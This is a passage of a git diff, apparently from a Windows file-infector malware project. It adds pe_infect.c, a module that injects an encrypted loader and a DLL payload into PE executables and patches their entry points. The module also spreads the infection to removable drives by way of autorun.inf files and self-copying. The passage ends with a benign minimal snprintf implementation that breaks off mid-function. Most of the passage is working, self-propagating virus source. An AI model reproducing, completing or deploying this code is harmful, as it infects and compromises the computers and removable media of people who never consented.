(ppe->hasDLL && ppe->hasLdr) { + /* Patch Loader + PE Exe */ + COMPAT(memcpy)(ppe->ptrToLdr+dwOffNop, ppe->ptrToBuf+szOffEntry, instData[i].size); // copy replaced orig op to ldr stub + /* ReCalculate address of orig op if relative. */ + if (isRelativeJmpCall) { + DWORD tmpAdr = szOffEntry + INSTRUCTION_GET_TARGET(&instData[i]); +#ifdef _PRE_RELEASE + COMPAT(printf)("RelAdr: %p (%u)\n", instData[i].imm.addr, tmpAdr); + COMPAT(printf)("RelPtr: %p - %p\n", PtrToRva(ppe, ppe->ptrToBuf + tmpAdr), PtrToRva(ppe, ppe->ptrToLdr + dwOffNop)); +#endif + DWORD relAdr = PtrToRva(ppe, ppe->ptrToBuf + tmpAdr) - PtrToRva(ppe, ppe->ptrToLdr + dwOffNop) - instData[i].size; + *(DWORD*)(ppe->ptrToLdr + dwOffNop + FLAG_GET_OPSIZE(instData[i].flags)) = relAdr; + } + offFillNops(ppe->ptrToBuf+szOffEntry, instData[i].size); // fill orig op with nops + patchRelJMP(ppe->ptrToBuf+szOffEntry, PtrToRva(ppe, ppe->ptrToLdr)-PtrToRva(ppe, ppe->ptrToBuf+szOffEntry + SIZEOF_X86_JMP32)); // patch jump from orig exe to ldr + DWORD origJMPVA = PtrToRva(ppe, ppe->ptrToLdr+dwOffNop+instData[i].size)-PtrToRva(ppe, ppe->ptrToBuf+szOffEntry)-1; + patchRelJMP(ppe->ptrToLdr+dwOffNop+instData[i].size, (-1)-origJMPVA); // patch jump back from loader to orig exe +#ifdef _PRE_RELEASE + COMPAT(printf)("LdrNop: Offset: %d (Size: %u)\n", dwOffNop, instData[i].size + SIZEOF_X86_JMP32); + COMPAT(printf)("LdrJMP: %p -> %p (%X)\n", PtrToRva(ppe, ppe->ptrToLdr+dwOffNop+instData[i].size), PtrToRva(ppe, ppe->ptrToBuf+szOffEntry), origJMPVA); +#endif + if (!bPatchLoader(ppe)) { + LOG_MARKER; + } + } + res = DECRES_SUCCESS; + break; + } + + bytesproc += instData[i].size; + if (bytesproc >= maxbytesproc) break; + } + + if (res == DECRES_SUCCESS) break; + else if (decodedInstructionsCount == 0) break; + if (bytesproc >= maxbytesproc) break; + next = (unsigned int)(instData[decodedInstructionsCount-1].addr - offset); + next += instData[decodedInstructionsCount-1].size; + entry += next; + filesize -= next; + offset += next; + } + return TRUE; +} + +int offFindNopsled(const BYTE* buf, SIZE_T szBuf, SIZE_T szNopsled) +{ + SIZE_T szCurNopsled = 0; + for (SIZE_T i = 0; i < szBuf; ++i) { + if (buf[i] == 0x90) { + if (++szCurNopsled == szNopsled) + return (int)(&buf[i]-buf-szCurNopsled+1); + } else szCurNopsled = 0; + } + return -1; +} + +void offFillNops(BYTE* buf, SIZE_T szFill) +{ + BYTE tmpfill[szFill]; + COMPAT(memset)(&tmpfill[0], 0x90, szFill); + COMPAT(memcpy)(buf, &tmpfill[0], szFill); +} diff --git a/source/pe_infect.c b/source/pe_infect.c new file mode 100644 index 0000000..a536aad --- /dev/null +++ b/source/pe_infect.c @@ -0,0 +1,731 @@ +/* + * Module: pe_infect.c + * Author: Toni <matzeton@googlemail.com> + * Purpose: Parses/Modifies a windows portable executable. + * Add sections, do image rebasing. + * Inject data into sections. + */ + +#include "compat.h" +#include "utils.h" +#include "log.h" +#include "pe_infect.h" +#include "mem.h" +#include "file.h" +#include "aes.h" +#include "crypt.h" +#include "patch.h" +#include "crypt_strings.h" +#include "xor_strings_gen.h" +#include "aes_strings_gen.h" +#include "loader_x86_crypt.h" + + +static DWORD sectionAdr = 0x0; +static const struct loader_x86_data* orig_ldr = NULL; + +/* default dll image base */ +#ifndef _MILLER_IMAGEBASE +#define _MILLER_IMAGEBASE 0x10000000 +#endif +static DWORD imageBase = _MILLER_IMAGEBASE; +static DWORD imageSize = 0x0; + +/* AES encrypted byte buffer */ +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +_AESDATA_(ldrdata, LOADER_SHELLCODE_DEBUG); +static SIZE_T real_ldrsiz = LOADER_SHELLCODE_DEBUG_SIZE; +#else +_AESDATA_(ldrdata, LOADER_SHELLCODE); +static SIZE_T real_ldrsiz = LOADER_SHELLCODE_SIZE; +#endif +_AESSIZE_(ldrsiz, ldrdata); + + +inline void setOrigLoader(const struct loader_x86_data* ldr) { + orig_ldr = ldr; +} + +inline const struct loader_x86_data* getOrigLoader(void) { + return orig_ldr; +} + +inline void setImageBase(DWORD newBase) { + imageBase = newBase; +} + +inline DWORD getImageBase(void) { + return imageBase; +} + +inline void setImageSize(DWORD newSize) { + imageSize = newSize; +} + +inline DWORD getImageSize(void) { + return imageSize; +} + +inline void setSectionAdr(DWORD newAdr) { + sectionAdr = newAdr; +} + +inline DWORD getSectionAdr(void) { + return sectionAdr; +} + +BYTE* getLoader(SIZE_T* pSiz) +{ + aes_ctx_t* ctx = aes_alloc_ctx((unsigned char*)LDR_KEY, LDR_KEYSIZ); + BYTE* ldr = (BYTE*)aes_crypt_s(ctx, (char*)ldrdata, (size_t)ldrsiz, (size_t*)pSiz, FALSE); + aes_free_ctx(ctx); + return ldr; +} + +SIZE_T getRealLoaderSize(void) +{ + return real_ldrsiz; +} + +inline BYTE* PtrFromOffset(BYTE* base, DWORD offset) { + return ((BYTE*)base) + offset; +} + +DWORD RvaToOffset(const struct ParsedPE* ppPtr, DWORD dwRva) +{ + PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection; + DWORD nSections = ppPtr->hdrFile->NumberOfSections; + DWORD dwPos = 0; + + for (SIZE_T i = 0; i < nSections; ++i) { + if (dwRva >= sections[i].VirtualAddress) { + dwPos = sections[i].VirtualAddress; + dwPos += sections[i].SizeOfRawData; + } + if (dwRva < dwPos) { + dwRva = dwRva - sections[i].VirtualAddress; + return dwRva + sections[i].PointerToRawData; + } + } + return -1; +} + +inline BYTE* RvaToPtr(const struct ParsedPE* ppPtr, DWORD dwRva) +{ + return PtrFromOffset(ppPtr->ptrToBuf, RvaToOffset(ppPtr, dwRva)); +} + +DWORD OffsetToRva(const struct ParsedPE* ppPtr, DWORD offset) +{ + if (ppPtr->hdrFile->NumberOfSections <= 0 || ppPtr->hdrOptional->SizeOfHeaders > offset) + return -1; + PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection; + DWORD nSections = ppPtr->hdrFile->NumberOfSections; + DWORD dwPos = sections[0].VirtualAddress + (offset - sections[0].PointerToRawData); + + for (SIZE_T i = 0; i < nSections; ++i) { + if (offset < sections[i].PointerToRawData) { + break; + } + dwPos = sections[i].VirtualAddress + (offset - sections[i].PointerToRawData); + } + return dwPos + ppPtr->hdrOptional->ImageBase; +} + +inline DWORD PtrToOffset(const struct ParsedPE* ppPtr, const BYTE* ptr) +{ + DWORD dwRva = (DWORD)ptr - (DWORD)ppPtr->ptrToBuf; + return dwRva; +} + +DWORD PtrToRva(const struct ParsedPE* ppPtr, const BYTE* ptr) +{ + return OffsetToRva(ppPtr, PtrToOffset(ppPtr, ptr)); +} + +BOOL bParsePE(BYTE* buf, const DWORD szBuf, struct ParsedPE* ppPtr, BOOL earlyStage) +{ + ppPtr->valid = FALSE; + /* check minimum size */ + if (szBuf > 0 && szBuf < sizeof(IMAGE_DOS_HEADER)+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)+sizeof(IMAGE_SECTION_HEADER)) + return FALSE; + ppPtr->ptrToBuf = buf; + ppPtr->bufSiz = szBuf; + ppPtr->hdrDos = (PIMAGE_DOS_HEADER)buf; + if (ppPtr->hdrDos->e_magic != IMAGE_DOS_SIGNATURE) /* MZ */ + return FALSE; + /* validate e_lfanew (0xFF >= x >= 0x40) */ + if ( (szBuf > 0 && szBuf <= (DWORD)ppPtr->hdrDos->e_lfanew) || ppPtr->hdrDos->e_lfanew > 0xFF || ppPtr->hdrDos->e_lfanew < 0x40 ) + return FALSE; + ppPtr->hdrFile = (PIMAGE_FILE_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD)); + ppPtr->hdrOptional = (PIMAGE_OPTIONAL_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)); + if (ppPtr->hdrOptional->Magic != 0x010b) /* PE32 */ + return FALSE; + if (ppPtr->hdrFile->Machine != 0x014C) /* i386 */ + return FALSE; + ppPtr->hdrSection = (PIMAGE_SECTION_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(IMAGE_NT_HEADERS)); + ppPtr->dataDir = (PIMAGE_DATA_DIRECTORY)ppPtr->hdrOptional->DataDirectory; + ppPtr->valid = TRUE; + + /* during initial image rebasing, dont execute stuff which needs a rebased image */ + if (!earlyStage) { + ppPtr->hasDLL = FALSE; + ppPtr->hasLdr = FALSE; + /* pointer to dll section */ + DBUF(DLLSECTION_ENUM, dllsection); + if ( (ppPtr->ptrToDLL = pGetSegmentAdr((char*)dllsection, TRUE, ppPtr, &(ppPtr->sizOfDLL))) != NULL && ppPtr->sizOfDLL > 0) + ppPtr->hasDLL = TRUE; + + /* pointer to loader section */ + DBUF(LDRSECTION_ENUM, ldrsection); + if ( (ppPtr->ptrToLdr = pGetSegmentAdr((char*)ldrsection, TRUE, ppPtr, &(ppPtr->sizOfLdr))) != NULL && ppPtr->sizOfLdr > 0) { + ppPtr->loader86 = (loader_x86_data*)(ppPtr->ptrToLdr + getRealLoaderSize() - sizeof(struct loader_x86_data)); + ppPtr->hasLdr = bCheckEndMarker(ppPtr); + if (!ppPtr->hasLdr) { + LOG_MARKER; + } + } + } + return TRUE; +} + +BOOL bCheckEndMarker(const struct ParsedPE *ppPtr) +{ + unsigned char orig_loader_endmarker[] = { _LOADER_ENDMARKER }; + unsigned char* loader_endmarker = (unsigned char*)&(ppPtr->loader86->endMarker); + BOOL ret = TRUE; + for (size_t i = 0; i < sizeof(orig_loader_endmarker); ++i) { + if (loader_endmarker[i] != orig_loader_endmarker[i]) { + ret = FALSE; + break; + } + } + return ret; +} + +BOOL bAddSection(const char *sName, const BYTE *sectionContentBuf, SIZE_T szSection, BOOL executable, struct ParsedPE *ppPtr) +{ + /* Peering Inside the PE: https://msdn.microsoft.com/en-us/library/ms809762.aspx */ + + /* enough header space avail? */ + if (ppPtr->hdrOptional->SizeOfHeaders < (ppPtr->hdrDos->e_lfanew + sizeof(DWORD) + + sizeof(IMAGE_FILE_HEADER) + ppPtr->hdrFile->SizeOfOptionalHeader + + (ppPtr->hdrFile->NumberOfSections*sizeof(IMAGE_SECTION_HEADER))+sizeof(IMAGE_SECTION_HEADER))) + { + return FALSE; + } + + /* Read the original fields of headers */ + DWORD originalNumberOfSections = ppPtr->hdrFile->NumberOfSections; + /* Create the new section */ + DWORD pointerToLastSection = 0; + DWORD sizeOfLastSection = 0; + DWORD virtualAddressOfLastSection = 0; + DWORD virtualSizeOfLastSection = 0; + + for(SIZE_T i = 0; i != originalNumberOfSections; ++i) + { + if (pointerToLastSection < ppPtr->hdrSection[i].PointerToRawData) + { + /* section alrdy exists? */ + if ( strncmp((const char*)ppPtr->hdrSection[i].Name, sName, IMAGE_SIZEOF_SHORT_NAME) == 0) + return FALSE; + pointerToLastSection = ppPtr->hdrSection[i].PointerToRawData; + sizeOfLastSection = ppPtr->hdrSection[i].SizeOfRawData; + virtualAddressOfLastSection = ppPtr->hdrSection[i].VirtualAddress; + virtualSizeOfLastSection = ppPtr->hdrSection[i].Misc.VirtualSize; + } + } + /* if a symbol table (debug info) is present, pointerToLastSection might be wrong */ + /* symbol table is usually stored _after_ the last section and retrieved via IMAGE_FILE_HEADER.PointerToSymbolTable */ + if (ppPtr->bufSiz > pointerToLastSection + sizeOfLastSection) + { + pointerToLastSection = ppPtr->bufSiz; + sizeOfLastSection = 0; + } + + /* set new section header data */ + IMAGE_SECTION_HEADER newImageSectionHeader; + memset(&newImageSectionHeader, '\0', sizeof(IMAGE_SECTION_HEADER)); + newImageSectionHeader.Misc.VirtualSize = szSection; + memcpy(&newImageSectionHeader.Name, sName, strnlen(sName, sizeof(newImageSectionHeader.Name))); + newImageSectionHeader.PointerToRawData = XMemAlign(pointerToLastSection + sizeOfLastSection, ppPtr->hdrOptional->FileAlignment, 0); + newImageSectionHeader.PointerToRelocations = 0; + newImageSectionHeader.SizeOfRawData = XMemAlign(szSection, ppPtr->hdrOptional->FileAlignment, 0); /* aligned to FileAlignment */ + newImageSectionHeader.VirtualAddress = XMemAlign(virtualSizeOfLastSection, ppPtr->hdrOptional->SectionAlignment, virtualAddressOfLastSection); /* aligned to Section Alignment */ + /* Loader is usually stored in an executable section, DLL in a readonly section. + * The Loader does not execute code directly from section. + * (see loader source for detailed info) + */ + newImageSectionHeader.Characteristics = (executable == TRUE ? IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE : IMAGE_SCN_MEM_READ); + + /* update FILE && OPTIONAL header */ + ++ppPtr->hdrFile->NumberOfSections; + ppPtr->hdrOptional->SizeOfImage = XMemAlign(newImageSectionHeader.VirtualAddress + newImageSectionHeader.Misc.VirtualSize, ppPtr->hdrOptional->SectionAlignment, 0); + /* save SizeOfImage, because ppPtr->hdrOptional->SizeOfImage might be invalid (re-allocation!) */ + SIZE_T szNewSizOfImage = ppPtr->hdrOptional->SizeOfImage; + /* (re)allocate memory for _full_ pe image (including all headers, new section and section data) */ + if (!(ppPtr->ptrToBuf = realloc(ppPtr->ptrToBuf, szNewSizOfImage))) + return FALSE; + + /* if everything is gone right, parsing should succeed */ + if (!bParsePE(ppPtr->ptrToBuf, szNewSizOfImage, ppPtr, FALSE)) + { + return FALSE; + } + + /* copy new section header */ + memcpy(&ppPtr->hdrSection[ppPtr->hdrFile->NumberOfSections-1], &newImageSectionHeader, sizeof(IMAGE_SECTION_HEADER)); + /* copy new section data */ + memcpy(ppPtr->ptrToBuf+newImageSectionHeader.PointerToRawData, sectionContentBuf, szSection); + + return TRUE; +} + +static BOOL bFindMyself(struct ParsedPE* ppe, DWORD* pDwBase, DWORD* pDwSize) +{ + SIZE_T siz = 0x0; + DWORD startAdr = 0x0; + + /* Am I already in an infected binary? */ + if (ppe->hasDLL) { + startAdr = (DWORD)ppe->ptrToDLL; + siz = ppe->sizOfDLL; + } + /* dirty workaround e.g. when started from runbin.exe */ + if (!startAdr) { + startAdr = getSectionAdr(); + } + if (!siz) { + siz = getImageSize(); + } + /* check dwBase for valid memory region */ + if (startAdr) + { + *pDwBase = startAdr; + *pDwSize = siz; + if (_IsBadReadPtr((void*)startAdr, siz) == TRUE) + { + *pDwBase = 0x0; + *pDwSize = 0x0; + LOG_MARKER + } else return TRUE; + } else LOG_MARKER + return FALSE; +} + +static struct ParsedPE* +pParsePE(BYTE* buf, SIZE_T szBuf) +{ + struct ParsedPE* ppe = calloc(1, sizeof(struct ParsedPE)); + + if (!ppe) + { + return NULL; + } + if (bParsePE(buf, szBuf, ppe, FALSE)) + { + return ppe; + } + free(ppe); + return NULL; +} + +static BOOL bInfectMemWith(const BYTE* maliciousBuf, SIZE_T maliciousSiz, struct ParsedPE* ppe) +{ + BOOL ret = FALSE; + + if (ppe) + { + if (bIsInfected(ppe)) { + LOG_MARKER + } else { + DBUF(DLLSECTION_ENUM, dllsection); + if (bAddSection((char*)dllsection, maliciousBuf, maliciousSiz, FALSE, ppe)) + { + ret = TRUE; + } else LOG_MARKER + + DBUF(LDRSECTION_ENUM, ldrsection); + SIZE_T lsiz = 0; + BYTE* l = getLoader(&lsiz); + if (l && bAddSection((char*)ldrsection, l, lsiz, TRUE, ppe)) + { + ret = TRUE; + } else LOG_MARKER; + if (l) free(l); + + if (ret) { + ret = bParsePE(ppe->ptrToBuf, ppe->bufSiz, ppe, FALSE); + } + } + } + else + { + LOG_MARKER + } + return ret; +} + +BOOL bInfectFileWith(const char* sFile, const BYTE* maliciousBuf, SIZE_T maliciousSiz) +{ + BOOL ret = FALSE; + BYTE* buf; + SIZE_T szBuf; + HANDLE hFile; + + if (!bOpenFile(sFile, OF_WRITEACCESS, &hFile)) { + LOG_MARKER + return ret; + } + if (!bFileToBuf(hFile, &buf, &szBuf)) + { + LOG_MARKER + _CloseHandle(hFile); + return ret; + } + struct ParsedPE* ppe = pParsePE(buf, szBuf); + if (ppe) + { + if (bInfectMemWith(maliciousBuf, maliciousSiz, ppe)) + { + if (bPatchNearEntry(ppe)) + { + if (nBufToFile(hFile, ppe->ptrToBuf, ppe->bufSiz) == ppe->bufSiz) + { + if (!bIsInfected(ppe)) + { + LOG_MARKER + } else { + ret = TRUE; + } + } + } else { + LOG_MARKER + } + } + /* buf might not valid anymore (after bInfectMemWith(...) called) */ + buf = ppe->ptrToBuf; + free(ppe); + } else LOG_MARKER; + free(buf); + _CloseHandle(hFile); + return ret; +} + +BOOL bInfectWithMyself(const char* sFile) +{ + BOOL ret = FALSE; + BYTE* buf = NULL; + SIZE_T szBuf; + LPTSTR sFileMyself = calloc(sizeof(TCHAR), MAX_PATH+1); + HANDLE hMyself; + struct ParsedPE* ppe = NULL; + + if (!sFileMyself) + { + LOG_MARKER + } else if (_GetModuleFileName(NULL, sFileMyself, MAX_PATH) == 0) + { + LOG_MARKER + } else if (!bOpenFile(sFileMyself, 0, &hMyself)) { + LOG_MARKER + } else if (!bFileToBuf(hMyself, &buf, &szBuf)) + { + LOG_MARKER + } else { + ppe = pParsePE(buf, szBuf); + } + if (ppe) + { + /* find DLL (segment-)address and (segment-)size in current executable */ + DWORD dwBase = 0x0; + DWORD dwSize = 0x0; + if (!bFindMyself(ppe, &dwBase, &dwSize)) + { + LOG_MARKER + } else { + /* infect target executable (DLL and LOADER) + * Remember: The Loader is always accessible by our DLL (AES encrypted). + */ + if (bInfectFileWith(sFile, (BYTE*)dwBase, dwSize)) { + ret = TRUE; + } else { LOG_MARKER } + } + free(ppe); + } else LOG_MARKER; + if (buf) + free(buf); + _CloseHandle(hMyself); + free(sFileMyself); + return ret; +} + +BOOL bIsInfected(const struct ParsedPE* ppPtr) +{ + return (ppPtr->hasDLL && ppPtr->hasLdr); +} + +void* pGetSegmentAdr(const char* sName, BOOL caseSensitive, const struct ParsedPE* ppPtr, SIZE_T* pSegSiz) +{ + DWORD result = 0; + DWORD sSize = 0; + + if (!ppPtr->valid) return NULL; + /* walk through sections and compare every name with sName */ + for (DWORD idx = 0; idx < ppPtr->hdrFile->NumberOfSections; ++idx) + { + PIMAGE_SECTION_HEADER sec = &ppPtr->hdrSection[idx]; + if ( (caseSensitive && strncmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0) + || strnicmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0) + { + result = RvaToOffset(ppPtr, sec->VirtualAddress); + sSize = sec->Misc.VirtualSize; + break; + } + } + + if (result != 0) + { + /* check for valid RVA */ + result += (DWORD)ppPtr->ptrToBuf; + if (_IsBadReadPtr((void*)result, sSize)) + { + result = 0; + } + } + + if (pSegSiz) + *pSegSiz = sSize; + return (void*)result; +} + +DWORD dwDoRebase(void* dllSectionAdr, SIZE_T dllSectionSiz, const void* dllBaseAdr) +{ + struct ParsedPE ppe; + + if (!bParsePE(dllSectionAdr, dllSectionSiz, &ppe, TRUE)) + return 0; + + /* find symbol relocations (.reloc section) */ + DWORD dwBaseReloc = ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; + PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)RvaToPtr(&ppe, dwBaseReloc); + PIMAGE_BASE_RELOCATION pRelocEnd = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size); + + /* We cant rely on getImageBase(), because variable imageBase might point to a faulty memory location. * + * Rebasing is one of the first things to do! + */ + DWORD dllImageBase = _MILLER_IMAGEBASE; + DWORD dwDelta = (DWORD)dllBaseAdr - dllImageBase; + + /* walk through all relocation entries and add delta to every entry */ + while (pBaseReloc < pRelocEnd && pBaseReloc->VirtualAddress) + { + int count = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD* wCurEntry = (WORD*)(pBaseReloc + 1); + void *pPageVa = (void *)((PBYTE)dllBaseAdr + pBaseReloc->VirtualAddress); + + for (int i = 0; i < count; i++) + { + if (wCurEntry[i] >> 12 == IMAGE_REL_BASED_HIGHLOW) { + *(DWORD *)((PBYTE)pPageVa + (wCurEntry[i] & 0x0fff)) += dwDelta; + } + } + pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock); + } + return dwDelta; +} + +static int szReadAutorunInf(LPCSTR szPath, LPSTR pTarget, SIZE_T szTarget) +{ + int retval = -1; + BYTE* buf = NULL; + SIZE_T szBuf = 0; + + (void) szTarget; + if (bFileNameToBuf(szPath, &buf, &szBuf) == TRUE) { + DBUF(AUTORUN_OPEN_ENUM, __autoOpen); + /* parse `open=` substring */ + const char* dbuf = COMPAT(strnistr)((const char*)buf, __autoOpen, szBuf); + int szOpen = 0; + + if (!dbuf) + goto end; + dbuf += strnlen(__autoOpen, CLEN(AUTORUN_OPEN_ENUM)); + + /* read line until NEWLINE or NUL */ + char* szEnd = strchr(dbuf, '\n'); + if (szEnd) { + szOpen = (DWORD)szEnd - (DWORD)(dbuf); + /* windoze uses carriage returns */ + if (szOpen > 1 && dbuf[szOpen-2] == '\r') + szEnd--; + } else { + /* no newline found, so use whole buffer */ + szOpen = strnlen(dbuf, szBuf); + } + + if (szOpen > 0) { + const char* prog = dbuf; + if (qtok((char*)dbuf, (char**)&dbuf) && *dbuf) { + szOpen = dbuf - prog - 1; + memmove(pTarget, prog, szOpen); + pTarget[szOpen] = 0; + } + } + + retval = szOpen; + } + +end: + free(buf); + return retval; +} + +DWORD dwInfectRemovables(void) +{ + DWORD retval = 0; + struct LogicalDrives* devs = calloc(DEFAULT_DEVS, sizeof(struct LogicalDrives)); + + if (devs) { + DWORD count = dwEnumDrives(devs, DEFAULT_DEVS); + if (count > 0) { + LPTSTR cmd = _GetCommandLine(); + LPTSTR next = NULL; + LPTSTR arg0 = NULL; + DBUF(FILE_AUTORUN_INF_ENUM, __autorun); + + if (!cmd) + goto end; + if (qtok(cmd, &next) && *next) { + arg0 = cmd; + } + + BOOL useCurrentBinary = FALSE; + BYTE* buf = NULL; + SIZE_T szBuf = 0; + struct ParsedPE* ppe = NULL; + if (bFileNameToBuf(arg0, &buf, &szBuf) == TRUE) { + ppe = pParsePE(buf, szBuf); + if (ppe && dwCountNonSystemImportLibs(ppe) == 0) { + useCurrentBinary = TRUE; + } + } + + for (DWORD i = 0; i < count; ++i) { + if (devs[i].devType == DRIVE_REMOVABLE) { +#ifdef _PRE_RELEASE + COMPAT(printf)("Infecting Drive: %s\n", devs[i].name); +#endif + /* if autorun program exists, try to infect the executable it points */ + char* fullPath = calloc(MAX_PATH+1, sizeof(char)); + if (isFileInDir(devs[i].name, __autorun) == TRUE) { + DBUF(DIRFILE_FMT_ENUM, __fmt); + if (COMPAT(snprintf)(fullPath, MAX_PATH+1, __fmt, devs[i].name, __autorun) > 0) { + if (szReadAutorunInf(fullPath, fullPath, MAX_PATH) >= 0) { +#if defined(_PRE_RELEASE) && defined(_EXTRA_VERBOSE) + COMPAT(printf)("Infecting: %s\n", fullPath); +#endif + if (!bInfectWithMyself(fullPath)) + LOG_MARKER; + } else LOG_MARKER; + } else LOG_MARKER; + } else if (useCurrentBinary == TRUE) { + /* if no autorun executable detected, just copy ourself to it (if possible) */ + DBUF(FILE_AUTORUN_INF_ENUM, __autorunInf); + DBUF(AUTORUN_FMT_ENUM, __autorunInfFmt); + DBUF(FILE_AUTORUN_EXE_ENUM, __autorunExe); + DBUF(DIRFILE_FMT_ENUM, __dirfile); + + char* autorunInf = calloc(MAX_PATH+1, sizeof(char)); + int len = COMPAT(snprintf)(autorunInf, MAX_PATH+1, __autorunInfFmt, devs[i].name, __autorunExe); + COMPAT(snprintf)(fullPath, MAX_PATH+1, __dirfile, devs[i].name, __autorunInf); + if (bBufToFileName(fullPath, OF_WRITEACCESS | OF_CREATENEW, (BYTE*)autorunInf, len) != TRUE) + LOG_MARKER; + + TGL_FLAG(ppe->loader86, FLAG_SHELLEXEC_ONLY); + COMPAT(snprintf)(fullPath, MAX_PATH+1, __dirfile, devs[i].name, __autorunExe); + if (bBufToFileName(fullPath, OF_WRITEACCESS | OF_CREATENEW, buf, szBuf) != TRUE) + LOG_MARKER; + free(autorunInf); + } else LOG_MARKER; + free(fullPath); + } + } + + free(ppe); + free(buf); + } + } +end: + free(devs); + return retval; +} + +DWORD dwCountNonSystemImportLibs(const struct ParsedPE* ppPtr) +{ + DWORD retval = -1; + char* sysDir = calloc(MAX_PATH+1, sizeof(char)); + + if (ppPtr->valid == TRUE) { + DWORD adr = ppPtr->dataDir[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; + PIMAGE_IMPORT_DESCRIPTOR idt = (PIMAGE_IMPORT_DESCRIPTOR)RvaToPtr(ppPtr, adr); + + if (_GetSystemDirectory(sysDir, MAX_PATH) == 0) + goto end; + + retval = 0; + while (idt->Name) { + if (isFileInDir(sysDir, (LPSTR)RvaToPtr(ppPtr, idt->Name)) == TRUE) { +#if defined(_PRE_RELEASE) && defined(_EXTRA_VERBOSE) + COMPAT(printf)("SYS-DLL found: %s\\%s !!\n", sysDir, (LPSTR)RvaToPtr(ppPtr, idt->Name)); +#endif + } else retval++; + idt++; + } + } + +end: + free(sysDir); + return retval; +} + +FARPROC WINAPI fnMyGetProcAddress(HMODULE hModule, LPCSTR szProcName) +{ + if (! hModule || ! szProcName) + return NULL; + + BYTE* modb = (BYTE*)hModule; + struct ParsedPE ppe = {0}; + if (! bParsePE(modb, 0, &ppe, TRUE) || ! ppe.valid) + return NULL; + + PIMAGE_DATA_DIRECTORY eDataDir = (PIMAGE_DATA_DIRECTORY)(&ppe.dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT]); + PIMAGE_EXPORT_DIRECTORY eDir = (PIMAGE_EXPORT_DIRECTORY)(modb + eDataDir->VirtualAddress); + + void** funcTable = (void**)(modb + eDir->AddressOfFunctions); + WORD* ordTable = (WORD*) (modb + eDir->AddressOfNameOrdinals); + char** nameTable = (char**)(modb + eDir->AddressOfNames); + void* address = NULL; + size_t nProcName = COMPAT(strlen)(szProcName); + + if ( ((DWORD)(szProcName) >> 16) == 0 ) { + /* import by ordinal */ + WORD ordinal = LOWORD(szProcName); + DWORD ordBase = eDir->Base; + /* valid orinal? */ + if (ordinal < ordBase || ordinal > ordBase + eDir->NumberOfFunctions) + return NULL; + address = (void*)(modb + (DWORD)funcTable[ordinal - ordBase]); + } else { + /* import by name */ + for (DWORD i = 0; i < eDir->NumberOfNames; ++i) { + /* calculate name tables pointer from RVA */ + if (COMPAT(strncmp)(szProcName, (const char*)(modb + (DWORD)nameTable[i]), nProcName) == 0) { + address = (void*)(modb + (DWORD)funcTable[ordTable[i]]); + } + } + } + + return address; +} diff --git a/source/snprintf.c b/source/snprintf.c new file mode 100644 index 0000000..3a84d17 --- /dev/null +++ b/source/snprintf.c @@ -0,0 +1,185 @@ +/* + * The Minimal snprintf() implementation + * + * Copyright (c) 2013,2014 Michal Ludvig <michal@logix.cz> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * * Neither the name of the auhor nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * ---- + * + * This is a minimal snprintf() implementation optimised + * for embedded systems with a very limited program memory. + * mini_snprintf() doesn't support _all_ the formatting + * the glibc does but on the other hand is a lot smaller. + * Here are some numbers from my STM32 project (.bin file size): + * no snprintf(): 10768 bytes + * mini snprintf(): 11420 bytes (+ 652 bytes) + * glibc snprintf(): 34860 bytes (+24092 bytes) + * Wasting nearly 24kB of memory just for snprintf() on + * a chip with 32kB flash is crazy. Use mini_snprintf() instead. + * + */ + +#include <string.h> +#include <stdarg.h> + +#include "snprintf.h" +#include "compat.h" + + +unsigned int +mini_itoa(int value, unsigned int radix, unsigned int uppercase, unsigned int unsig, + char *buffer, unsigned int zero_pad) +{ + char *pbuffer = buffer; + int negative = 0; + unsigned int i, len; + + /* No support for unusual radixes. */ + if (radix > 16) + return 0; + + if (value < 0 && !unsig) { + negative = 1; + value = -value; + } + + /* This builds the string back to front ... */ + do { + int digit = value % radix; + *(pbuffer++) = (digit < 